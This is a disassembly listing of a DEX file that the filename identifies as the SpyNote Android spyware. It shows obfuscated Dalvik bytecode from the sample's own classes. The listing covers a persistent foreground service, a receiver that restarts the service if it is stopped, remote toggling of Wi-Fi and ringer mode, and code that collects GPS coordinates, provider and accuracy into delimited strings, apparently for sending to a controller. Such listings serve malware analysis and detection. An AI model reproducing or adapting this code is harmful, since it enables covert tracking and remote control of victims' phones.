File spynote_11911c2e1baaab2fbc457932fa85ba68d2b6fa66c42a64fe8254923fe35637b9.dex
Function:
    0008250f
    0008250f struct encoded_catch_handler ← 0x824f2
    0008250f size int64 2
    00082510 handlers[0].type_idx int 0x59ac
    00082512 handlers[0].addr uint32 0x82478
    00082514 handlers[1].type_idx int 0x5994
    00082516 handlers[1].addr uint32 0x824c0
    00082518
    00082518cmf0.c3b5bm90zq.patch.C11::c(java.lang.String):
    00082528new-instance v0, Ljava/lang/Thread;
    0008252cnew-instance v1, Lcmf0/c3b5bm90zq/patch/C11$4;
    00082530invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$4;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    00082536invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    0008253cinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00082542return-void
    00082518
    00082544
    00082544cmf0.c3b5bm90zq.patch.C11::c(java.lang.String, java.lang.String):
    00082554new-instance v0, Ljava/lang/Thread;
    00082558new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$18;
    0008255cinvoke-direct {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11$18;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;Ljava/lang/String;)V
    00082562invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00082568invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    0008256ereturn-void
    00082544
    00082570
    00082570cmf0.c3b5bm90zq.patch.C11::d():
    00082580new-instance v0, Ljava/lang/Thread;
    00082584new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$15;
    00082588invoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C11$15;-><init>(Lcmf0/c3b5bm90zq/patch/C11;)V
    0008258einvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00082594invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    0008259areturn-void
    00082570
    0008259c
    0008259ccmf0.c3b5bm90zq.patch.C11::d(java.lang.String):
    000825acnew-instance v0, Ljava/lang/Thread;
    000825b0new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$7;
    000825b4invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$7;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    000825bainvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000825c0invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000825c6return-void
    0008259c
    000825c8
    000825c8cmf0.c3b5bm90zq.patch.C11::d(java.lang.String, java.lang.String):
    000825d8new-instance v0, Ljava/lang/Thread;
    000825dcnew-instance v1, Lcmf0/c3b5bm90zq/patch/C11$20;
    000825e0invoke-direct {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11$20;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;Ljava/lang/String;)V
    000825e6invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000825ecinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000825f2return-void
    000825c8
    000825f4
    000825f4cmf0.c3b5bm90zq.patch.C11::e():
    00082604new-instance v0, Ljava/lang/Thread;
    00082608new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$16;
    0008260cinvoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C11$16;-><init>(Lcmf0/c3b5bm90zq/patch/C11;)V
    00082612invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00082618invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    0008261ereturn-void
    000825f4
    00082620
    00082620cmf0.c3b5bm90zq.patch.C11::e(java.lang.String):
    00082630new-instance v0, Ljava/lang/Thread;
    00082634new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$11;
    00082638invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$11;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    0008263einvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00082644invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    0008264areturn-void
    00082620
    0008264c
    0008264ccmf0.c3b5bm90zq.patch.C11::e(java.lang.String, java.lang.String):
    0008265cnew-instance v0, Ljava/lang/Thread;
    00082660new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$22;
    00082664invoke-direct {v1, v2, v4, v3}, Lcmf0/c3b5bm90zq/patch/C11$22;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;Ljava/lang/String;)V
    0008266ainvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00082670invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00082676return-void
    0008264c
    00082678
    00082678cmf0.c3b5bm90zq.patch.C11::f():
    00082688new-instance v0, Ljava/lang/Thread;
    0008268cnew-instance v1, Lcmf0/c3b5bm90zq/patch/C11$17;
    00082690invoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C11$17;-><init>(Lcmf0/c3b5bm90zq/patch/C11;)V
    00082696invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    0008269cinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000826a2return-void
    00082678
    000826a4
    000826a4cmf0.c3b5bm90zq.patch.C11::f(java.lang.String):
    000826b4new-instance v0, Ljava/lang/Thread;
    000826b8new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$14;
    000826bcinvoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$14;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    000826c2invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000826c8invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000826cereturn-void
    000826a4
    000826d0
    000826d0cmf0.c3b5bm90zq.patch.C11::g():
    000826e0new-instance v0, Ljava/lang/Thread;
    000826e4new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$24;
    000826e8invoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C11$24;-><init>(Lcmf0/c3b5bm90zq/patch/C11;)V
    000826eeinvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000826f4invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000826fareturn-void
    000826d0
    000826fc
    000826fccmf0.c3b5bm90zq.patch.C11::g(java.lang.String):
    0008270cinvoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
    00082712move-result v4
    00082714invoke-virtual {v3}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    0008271amove-result-object v0
    0008271cconst-string v1, "wifi"
    00082720invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00082726move-result-object v0
    00082728check-cast v0, Landroid/net/wifi/WifiManager;
    0008272cconst-string v1, "audio"
    00082730invoke-virtual {v3, v1}, Lcmf0/c3b5bm90zq/patch/C11;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00082736move-result-object v1
    00082738check-cast v1, Landroid/media/AudioManager;
    0008273ciput-object v1, v3, Lcmf0/c3b5bm90zq/patch/C11;->ah:Landroid/media/AudioManager;
    00082740const/4 v1, 0x0
    00082742const/4 v2, 0x1
    00082744packed-switch v4, :pswitch_data_3e
    0008274agoto :goto_3d
    0008274cinvoke-virtual {v0, v1}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
    00082752invoke-virtual {v0, v2}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
    00082758goto :goto_3d
    0008275ainvoke-virtual {v0, v1}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
    00082760goto :goto_3d
    00082762iget-object v4, v3, Lcmf0/c3b5bm90zq/patch/C11;->ah:Landroid/media/AudioManager;
    00082766invoke-virtual {v4, v1}, Landroid/media/AudioManager;->setRingerMode(I)V
    0008276cgoto :goto_3d
    0008276eiget-object v4, v3, Lcmf0/c3b5bm90zq/patch/C11;->ah:Landroid/media/AudioManager;
    00082772invoke-virtual {v4, v2}, Landroid/media/AudioManager;->setRingerMode(I)V
    00082778goto :goto_3d
    0008277aiget-object v4, v3, Lcmf0/c3b5bm90zq/patch/C11;->ah:Landroid/media/AudioManager;
    0008277econst/4 v0, 0x2
    00082780invoke-virtual {v4, v0}, Landroid/media/AudioManager;->setRingerMode(I)V
    00082786return-void
    00082788.packed-switch 0x0
    000826fc
    000827a8
    000827a8 struct try_item
    000827a8 start_addr uint32 0x8270c
    000827ac insn_count int 61
    000827ae handler_off uint16 0x827b1
    000827b0
    000827b0 struct encoded_catch_handler_list
    000827b0 size int 1
    000827b1
    000827b1 struct encoded_catch_handler ← 0x827ae
    000827b1 size int64 1
    000827b2 handlers[0].type_idx int 0x5994
    000827b4 handlers[0].addr uint32 0x82786
    000827b5
    000827b5 // align 0x8
    000827b8
    000827b8cmf0.c3b5bm90zq.patch.C11::h(java.lang.String):
    000827c8new-instance v0, Ljava/lang/Thread;
    000827ccnew-instance v1, Lcmf0/c3b5bm90zq/patch/C11$27;
    000827d0invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$27;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    000827d6invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000827dcinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000827e2return-void
    000827b8
    000827e4
    000827e4cmf0.c3b5bm90zq.patch.C11::i(java.lang.String):
    000827f4new-instance v0, Ljava/lang/Thread;
    000827f8new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$28;
    000827fcinvoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$28;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    00082802invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00082808invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    0008280ereturn-void
    000827e4
    00082810
    00082810cmf0.c3b5bm90zq.patch.C11::onBind(android.content.Intent):
    00082820const/4 v1, 0x0
    00082822return-object v1
    00082810
    00082824
    00082824cmf0.c3b5bm90zq.patch.C11::onCreate():
    00082834invoke-super {v4}, Landroid/app/Service;->onCreate()V
    0008283asget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008283econst-wide/16 v2, 0x1
    00082842invoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082848move-result-object v0
    0008284asput-object v0, Lcmf0/c3b5bm90zq/patch/C11;->e:Ljava/lang/String;
    0008284esget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082852const-wide/16 v2, 0x2
    00082856invoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008285cmove-result-object v0
    0008285esput-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082862sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082866const-wide/16 v2, 0x3
    0008286ainvoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082870move-result-object v0
    00082872sput-object v0, Lcmf0/c3b5bm90zq/patch/C11;->g:Ljava/lang/String;
    00082876sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008287aconst-wide/16 v2, 0x4
    0008287einvoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082884move-result-object v0
    00082886sput-object v0, Lcmf0/c3b5bm90zq/patch/C11;->h:Ljava/lang/String;
    0008288asget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008288econst-wide/16 v2, 0x5
    00082892invoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082898move-result-object v0
    0008289asput-object v0, Lcmf0/c3b5bm90zq/patch/C11;->i:Ljava/lang/String;
    0008289einvoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    000828a4move-result-object v0
    000828a6invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/a;->f(Landroid/content/Context;)Landroid/app/Notification;
    000828acmove-result-object v0
    000828aeif-eqz v0, :cond_44
    000828b2const/16 v1, 0x7d3
    000828b6invoke-virtual {v4, v1, v0}, Lcmf0/c3b5bm90zq/patch/C11;->startForeground(ILandroid/app/Notification;)V
    000828bcnew-instance v0, Lcmf0/c3b5bm90zq/patch/C8;
    000828c0invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C8;-><init>()V
    000828c6iput-object v0, v4, Lcmf0/c3b5bm90zq/patch/C11;->E:Landroid/content/BroadcastReceiver;
    000828canew-instance v0, Landroid/content/IntentFilter;
    000828ceinvoke-direct {v0}, Landroid/content/IntentFilter;-><init>()V
    000828d4const-string v1, "android.intent.action.ACTION_POWER_CONNECTED"
    000828d8invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
    000828deconst-string v1, "android.intent.action.ACTION_POWER_DISCONNECTED"
    000828e2invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
    000828e8iget-object v1, v4, Lcmf0/c3b5bm90zq/patch/C11;->E:Landroid/content/BroadcastReceiver;
    000828ecinvoke-virtual {v4, v1, v0}, Lcmf0/c3b5bm90zq/patch/C11;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
    000828f2iget-object v0, v4, Lcmf0/c3b5bm90zq/patch/C11;->n:Landroid/content/BroadcastReceiver;
    000828f6new-instance v1, Landroid/content/IntentFilter;
    000828faconst-string v2, "android.os.action.DEVICE_IDLE_MODE_CHANGED"
    000828feinvoke-direct {v1, v2}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
    00082904invoke-virtual {v4, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
    0008290ainvoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C11;->a()V
    00082910return-void
    00082824
    00082912
    00082912 struct code_item_padding
    00082912 padding uint16 0x0000
    00082914
    00082914 struct try_item
    00082914 start_addr uint32 0x8289e
    00082918 insn_count int 15
    0008291a handler_off uint16 0x82925
    0008291c
    0008291c struct try_item
    0008291c start_addr uint32 0x828f2
    00082920 insn_count int 12
    00082922 handler_off uint16 0x82929
    00082924
    00082924 struct encoded_catch_handler_list
    00082924 size int 2
    00082925
    00082925 struct encoded_catch_handler ← 0x8291a
    00082925 size int64 1
    00082926 handlers[0].type_idx int 0x5994
    00082928 handlers[0].addr uint32 0x828bc
    00082929
    00082929 struct encoded_catch_handler ← 0x82922
    00082929 size int64 1
    0008292a handlers[0].type_idx int 0x5994
    0008292c handlers[0].addr uint32 0x8290a
    0008292d
    0008292d // align 0x10
    00082930
    00082930cmf0.c3b5bm90zq.patch.C11::onDestroy():
    00082940sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    00082944invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    0008294amove-result-object v1
    0008294cconst-string v2, "4"
    00082950sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082954const-wide/16 v5, 0x6c
    00082958invoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008295emove-result-object v3
    00082960invoke-virtual {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
    00082966invoke-direct {v7}, Lcmf0/c3b5bm90zq/patch/C11;->v()V
    0008296cinvoke-direct {v7}, Lcmf0/c3b5bm90zq/patch/C11;->w()V
    00082972invoke-direct {v7}, Lcmf0/c3b5bm90zq/patch/C11;->t()V
    00082978const/4 v0, 0x0
    0008297asput-boolean v0, Lcmf0/c3b5bm90zq/patch/C11;->A:Z
    0008297einvoke-direct {v7}, Lcmf0/c3b5bm90zq/patch/C11;->y()V
    00082984invoke-direct {v7}, Lcmf0/c3b5bm90zq/patch/C11;->q()V
    0008298ainvoke-direct {v7}, Lcmf0/c3b5bm90zq/patch/C11;->x()V
    00082990sget-boolean v1, Lcmf0/c3b5bm90zq/patch/C11;->k:Z
    00082994if-eqz v1, :cond_57
    00082998sget-boolean v1, Lcmf0/c3b5bm90zq/patch/C6;->c:Z
    0008299cif-eqz v1, :cond_57
    000829a0new-instance v1, Landroid/content/Intent;
    000829a4invoke-direct {v1}, Landroid/content/Intent;-><init>()V
    000829aainvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getResources()Landroid/content/res/Resources;
    000829b0move-result-object v2
    000829b2const v3, 0x7f0c0026
    000829b8invoke-virtual {v2, v3}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    000829bemove-result-object v2
    000829c0sput-object v2, Lcmf0/c3b5bm90zq/patch/C6;->b:Ljava/lang/String;
    000829c4sget-object v2, Lcmf0/c3b5bm90zq/patch/C6;->b:Ljava/lang/String;
    000829c8invoke-virtual {v1, v2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
    000829cesget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000829d2const-wide/16 v4, 0x5c
    000829d6invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000829dcmove-result-object v2
    000829deconst-string v3, "/exit/chat/"
    000829e2invoke-virtual {v1, v2, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
    000829e8invoke-virtual {v7, v1}, Lcmf0/c3b5bm90zq/patch/C11;->sendBroadcast(Landroid/content/Intent;)V
    000829eeiget-object v1, v7, Lcmf0/c3b5bm90zq/patch/C11;->n:Landroid/content/BroadcastReceiver;
    000829f2if-eqz v1, :cond_60
    000829f6iget-object v1, v7, Lcmf0/c3b5bm90zq/patch/C11;->n:Landroid/content/BroadcastReceiver;
    000829fainvoke-virtual {v7, v1}, Lcmf0/c3b5bm90zq/patch/C11;->unregisterReceiver(Landroid/content/BroadcastReceiver;)V
    00082a00iget-object v1, v7, Lcmf0/c3b5bm90zq/patch/C11;->E:Landroid/content/BroadcastReceiver;
    00082a04if-eqz v1, :cond_69
    00082a08iget-object v1, v7, Lcmf0/c3b5bm90zq/patch/C11;->E:Landroid/content/BroadcastReceiver;
    00082a0cinvoke-virtual {v7, v1}, Lcmf0/c3b5bm90zq/patch/C11;->unregisterReceiver(Landroid/content/BroadcastReceiver;)V
    00082a12invoke-static {v0}, Ljava/lang/System;->exit(I)V
    00082a18invoke-super {v7}, Landroid/app/Service;->onDestroy()V
    00082a1ereturn-void
    00082930
    00082a20
    00082a20 struct try_item
    00082a20 start_addr uint32 0x829ee
    00082a24 insn_count int 18
    00082a26 handler_off uint16 0x82a29
    00082a28
    00082a28 struct encoded_catch_handler_list
    00082a28 size int 1
    00082a29
    00082a29 struct encoded_catch_handler ← 0x82a26
    00082a29 size int64 1
    00082a2a handlers[0].type_idx int 0x5994
    00082a2c handlers[0].addr uint32 0x82a12
    00082a2d
    00082a2d // align 0x10
    00082a30
    00082a30cmf0.c3b5bm90zq.patch.C13::<init>():
    00082a40invoke-direct {v0}, Landroid/content/BroadcastReceiver;-><init>()V
    00082a46return-void
    00082a30
    00082a48
    00082a48cmf0.c3b5bm90zq.patch.C13::a(java.lang.Class, android.content.Context):
    00082a58const-string v0, "activity"
    00082a5cinvoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00082a62move-result-object v4
    00082a64check-cast v4, Landroid/app/ActivityManager;
    00082a68const v0, 0x7fffffff
    00082a6einvoke-virtual {v4, v0}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
    00082a74move-result-object v4
    00082a76invoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
    00082a7cmove-result-object v4
    00082a7einvoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
    00082a84move-result v0
    00082a86if-eqz v0, :cond_31
    00082a8ainvoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
    00082a90move-result-object v0
    00082a92check-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;
    00082a96invoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
    00082a9cmove-result-object v1
    00082a9eiget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
    00082aa2invoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
    00082aa8move-result-object v0
    00082aaainvoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00082ab0move-result v0
    00082ab2if-eqz v0, :cond_13
    00082ab6const/4 v3, 0x1
    00082ab8return v3
    00082abaconst/4 v3, 0x0
    00082abcreturn v3
    00082a48
    00082abe
    00082abe // align 0x10
    00082ac0
    00082ac0cmf0.c3b5bm90zq.patch.C13::onReceive(android.content.Context, android.content.Intent):
    00082ad0iput-object v2, v1, Lcmf0/c3b5bm90zq/patch/C13;->a:Landroid/content/Context;
    00082ad4const-class v2, Lcmf0/c3b5bm90zq/patch/C11;
    00082ad8iget-object v3, v1, Lcmf0/c3b5bm90zq/patch/C13;->a:Landroid/content/Context;
    00082adcinvoke-virtual {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C13;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    00082ae2move-result v2
    00082ae4if-nez v2, :cond_1a
    00082ae8new-instance v2, Landroid/content/Intent;
    00082aeciget-object v3, v1, Lcmf0/c3b5bm90zq/patch/C13;->a:Landroid/content/Context;
    00082af0const-class v0, Lcmf0/c3b5bm90zq/patch/C11;
    00082af4invoke-direct {v2, v3, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00082afaiget-object v3, v1, Lcmf0/c3b5bm90zq/patch/C13;->a:Landroid/content/Context;
    00082afeinvoke-virtual {v3, v2}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
    00082b04return-void
    00082ac0
    00082b06
    00082b06 struct code_item_padding
    00082b06 padding uint16 0x0000
    00082b08
    00082b08 struct try_item
    00082b08 start_addr uint32 0x82ad0
    00082b0c insn_count int 26
    00082b0e handler_off uint16 0x82b11
    00082b10
    00082b10 struct encoded_catch_handler_list
    00082b10 size int 1
    00082b11
    00082b11 struct encoded_catch_handler ← 0x82b0e
    00082b11 size int64 1
    00082b12 handlers[0].type_idx int 0x5994
    00082b14 handlers[0].addr uint32 0x82b04
    00082b15
    00082b15 // align 0x8
    00082b18
    00082b18cmf0.c3b5bm90zq.patch.C15$1::<init>(cmf0.c3b5bm90zq.patch.C15):
    00082b28iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082b2cinvoke-direct {v0}, Ljava/lang/Object;-><init>()V
    00082b32return-void
    00082b18
    00082b34
    00082b34cmf0.c3b5bm90zq.patch.C15$1::onLocationChanged(android.location.Location):
    00082b44if-eqz v7, :cond_123
    00082b48iget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082b4cinvoke-virtual {v7}, Landroid/location/Location;->getLongitude()D
    00082b52move-result-wide v1
    00082b54invoke-static {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/C15;->a(Lcmf0/c3b5bm90zq/patch/C15;D)D
    00082b5aiget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082b5einvoke-virtual {v7}, Landroid/location/Location;->getLatitude()D
    00082b64move-result-wide v1
    00082b66invoke-static {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/C15;->b(Lcmf0/c3b5bm90zq/patch/C15;D)D
    00082b6ciget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082b70new-instance v1, Ljava/lang/StringBuilder;
    00082b74invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    00082b7asget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082b7econst-wide/16 v4, 0x49
    00082b82invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082b88move-result-object v2
    00082b8ainvoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082b90sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082b94invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082b9asget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082b9econst-wide/16 v4, 0x6b
    00082ba2invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082ba8move-result-object v2
    00082baainvoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082bb0sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082bb4invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082bbaiget-object v2, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082bbeinvoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C15;->a(Lcmf0/c3b5bm90zq/patch/C15;)D
    00082bc4move-result-wide v2
    00082bc6invoke-virtual {v1, v2, v3}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
    00082bccsget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082bd0invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082bd6iget-object v2, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082bdainvoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C15;->b(Lcmf0/c3b5bm90zq/patch/C15;)D
    00082be0move-result-wide v2
    00082be2invoke-virtual {v1, v2, v3}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
    00082be8sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082becinvoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082bf2invoke-virtual {v7}, Landroid/location/Location;->getProvider()Ljava/lang/String;
    00082bf8move-result-object v2
    00082bfainvoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082c00sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082c04invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082c0ainvoke-virtual {v7}, Landroid/location/Location;->getAccuracy()F
    00082c10move-result v2
    00082c12invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
    00082c18invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00082c1emove-result-object v1
    00082c20invoke-static {v0, v1}, Lcmf0/c3b5bm90zq/patch/C15;->a(Lcmf0/c3b5bm90zq/patch/C15;Ljava/lang/String;)Ljava/lang/String;
    00082c26iget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082c2ainvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C15;->c(Lcmf0/c3b5bm90zq/patch/C15;)Ljava/lang/String;
    00082c30move-result-object v0
    00082c32iget-object v1, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082c36invoke-static {v1}, Lcmf0/c3b5bm90zq/patch/C15;->d(Lcmf0/c3b5bm90zq/patch/C15;)Ljava/lang/String;
    00082c3cmove-result-object v1
    00082c3eif-eq v0, v1, :cond_123
    00082c42iget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082c46iget-object v1, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082c4ainvoke-static {v1}, Lcmf0/c3b5bm90zq/patch/C15;->c(Lcmf0/c3b5bm90zq/patch/C15;)Ljava/lang/String;
